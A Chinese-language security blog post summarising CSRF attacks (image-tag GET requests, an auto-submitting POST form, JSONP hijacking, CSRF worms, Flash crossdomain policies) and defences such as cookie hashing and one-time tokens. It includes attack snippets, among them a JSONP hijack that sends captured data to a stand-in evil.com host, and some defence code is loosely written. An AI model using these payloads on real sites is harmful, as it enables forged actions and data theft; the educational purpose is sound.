Web安全之CSRF漏洞整理总结

这两天整理和编写了csrf的靶场，顺便也复习了以前学习csrf的点，这里记录下学习的总结点。

0x01 关于CSRF 跨站请求伪造

CSRF（Cross-site request forgery）跨站请求伪造：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。

一个典型的CSRF攻击有着如下的流程：

*受害者登录a.com，并保留了登录凭证（Cookie）。

*攻击者引诱受害者访问了b.com。

*b.com 向 a.com 发送了一个请求：a.com/act=xx。浏览器会默认携带a.com的Cookie。

*a.com接收到请求后，对请求进行验证，并确认是受害者的凭证，误以为是受害者自己发送的请求。

*a.com以受害者的名义执行了act=xx。

*攻击完成，攻击者在受害者不知情的情况下，冒充受害者，让a.com执行了自己定义的操作。

0x02 常见CSRF攻击场景

GET 类型CSRF

<img src=http://xxx.org/csrf.php?xx=1 />

访问页面后就成功向http://xxx.org/csrf.php 发送了一次请求

<link href="…">

<iframe src="…">

<meta http-equiv="refresh" content="0; url=…">

<script src="…">

<video src="…">

<audio src="…">

<a href="…">

<table background="…">

POST类型的CSRF

使用一个自动提交的表单

<form action=http://woyun.org/csrf.php method=POST>

<input type="text" name='xx' value='11' />

</form>

<script>document.forms[0].submit();</script>

模拟用户完成了一次POST操作
也可以用JS动态生成

<script>

      new Image().src = 'http://192.168.0.100/joomla';

</script>

JSON劫持攻击

web开发中常用的一种跨域获取的方法 JSONP
JSON with Padding 由于Javascript受同源策略的限制不能跨域读取
只能进行GET请求
前端html代码：

<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />

<script type="text/javascript">

function jsonpCallback(result) {

alert(result.a);

alert(result.b);

alert(result.c); for(var i in result)

{ alert(i+":"+result[i]);//循环输出a:1,b:2,etc. } }

</script>

<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>

后端的php代码：

<?php

//服务端返回JSON数据

$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);

$result=json_encode($arr);

//echo $_GET['callback'].'("Hello,World!")';

//echo $_GET['callback']."($result)";

//动态执行回调函数

$callback=$_GET['callback'];

echo $callback."($result)";

?>

可以看到，前端先是定义了jsonpCallback函数来处理后端返回的JSON数据，然后利用script标签的src属性跨域获取数据（前面说到带src属性的html标签都可以跨域），并且把刚才定义的回调函数的名称传递给了后端，于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行，达到了跨域获取数据的目的。

一句话描述JSONP：前端定义函数却在后端完成调用然后回到前端执行！

攻击者可以在页面中构造自己的回调函数，然后把获取的数据都发到自己的服务器上

<script type="text/javascript">

    function hijack(result) {

        var data = '';

        for(var i in result) {

            data += i + ':' + result[i];

                            }

new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上

                            }

</script>

<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>

CSRF蠕虫

在CSRF的攻击页面上嵌入蠕虫传播的攻击向量，蠕虫传播要面向不同的用户生成不同的请求。之前的攻击可预测所有的参数，现在必须想办法标识不同用户的数据。
1，服务端脚本获取
准备一个php，asp页面，可以检测Referer字段读取url中的用户id等。
2，JSON劫持
如果网站提供了这样的数据接口，可以用来获取敏感信息

flash CSRF

网站的根目录下有一个文件crossdomain.xml

<cross-domain-policy>

<allow-access-from domain="*.baidu.com" secure='true'/>

<allow-http-request-headers-from domain="*.baidu.com" headers='*'/>

secure='true' 表示只能通过安全连接请求
表示哪些域的flash请求可以读写本域的资源，同样可以读取token数据发送请求。

0x03 CSRF攻击防御策略

CSRF的防御可以从服务端和客户端两方面着手

1.服务端进行CSRF防御　

　服务端的CSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数。

　　(1).Cookie Hashing(所有表单都包含同一个伪随机值)：
　　这可能是最简单的解决方案了，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败了:>

<?php

　　　　//构造加密的Cookie信息

　　　　$value = “DefenseSCRF”;

　　　　setcookie(”cookie”, $value, time()+3600);

　　?>

在表单里增加Hash值，以认证这确实是用户发送的请求。

<?php

　　$hash = md5($_COOKIE['cookie']);

?>

<form method=”POST” action=”transfer.php”>

　　<input type=”text” name=”toBankId”>

　　<input type=”text” name=”money”>

　　<input type=”hidden” name=”hash” value=”<?=$hash;?>”>

　　<input type=”submit” name=”submit” value=”Submit”>

</form>

然后在服务器端进行Hash值验证

<?php

　　      if(isset($_POST['check'])) {

     　　      $hash = md5($_COOKIE['cookie']);

          　　 if($_POST['check'] == $hash) {

               　　 doJob();

　　           } else {

　　　　　　　　//...

          　　 }

　　      } else {

　　　　　　//...

　　      }

      ?>

(2).验证码
　　这个方案的思路是：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串，厄….这个方案可以完全解决CSRF，但个人觉得在易用性方面似乎不是太好，还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug，可能在某些版本的微软IE中受影响。

(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)
　　在实现One-Time Tokens时，需要注意一点：就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单，CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况：用户只能成功地提交他最后打开的表单，因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。

<?php

   function gen_token() {

　　//这里我是贪方便，实际上单使用Rand()得出的随机数作为令牌，也是不安全的。

　　//这个可以参考我写的Findbugs笔记中的《Random object created and used only once》

        $token = md5(uniqid(rand(), true));

        return $token;

   }

2).然后是Session令牌生成函数(gen_stoken())：

   <?php

   　　function gen_stoken() {

　　　　$pToken = "";

　　　　if($_SESSION[STOKEN_NAME]  == $pToken){

　　　　　　//没有值，赋新值

　　　　　　$_SESSION[STOKEN_NAME] = gen_token();

　　　　}

　　　　else{

　　　　　　//继续使用旧的值

　　　　}

   　　}

   ?>

2).WEB表单生成隐藏输入域的函数：　

<?php

　　     function gen_input() {

     　　     gen_stoken();

　　          echo “<input type=\”hidden\” name=\”" . FTOKEN_NAME . “\”

          　　     value=\”" . $_SESSION[STOKEN_NAME] . “\”> “;

     　　}

     ?>

3).WEB表单结构：

<?php

       session_start();

       include(”functions.php”);

  ?>

  <form method=”POST” action=”transfer.php”>

       <input type=”text” name=”toBankId”>

       <input type=”text” name=”money”>

       <? gen_input(); ?>

       <input type=”submit” name=”submit” value=”Submit”>

  </FORM>

4).服务端核对令牌：

2.客户端验证

进行前端语言js进行二次确认验证。

参考链接:

https://www.cnblogs.com/aq-ry/p/9446552.html

https://www.freebuf.com/column/155800.html

https://www.freebuf.com/column/151816.html

巴特西

Web安全之CSRF漏洞整理总结

0x01 关于CSRF 跨站请求伪造

0x02 常见CSRF攻击场景

0x03 CSRF攻击防御策略

1.服务端进行CSRF防御

最新文章

热门文章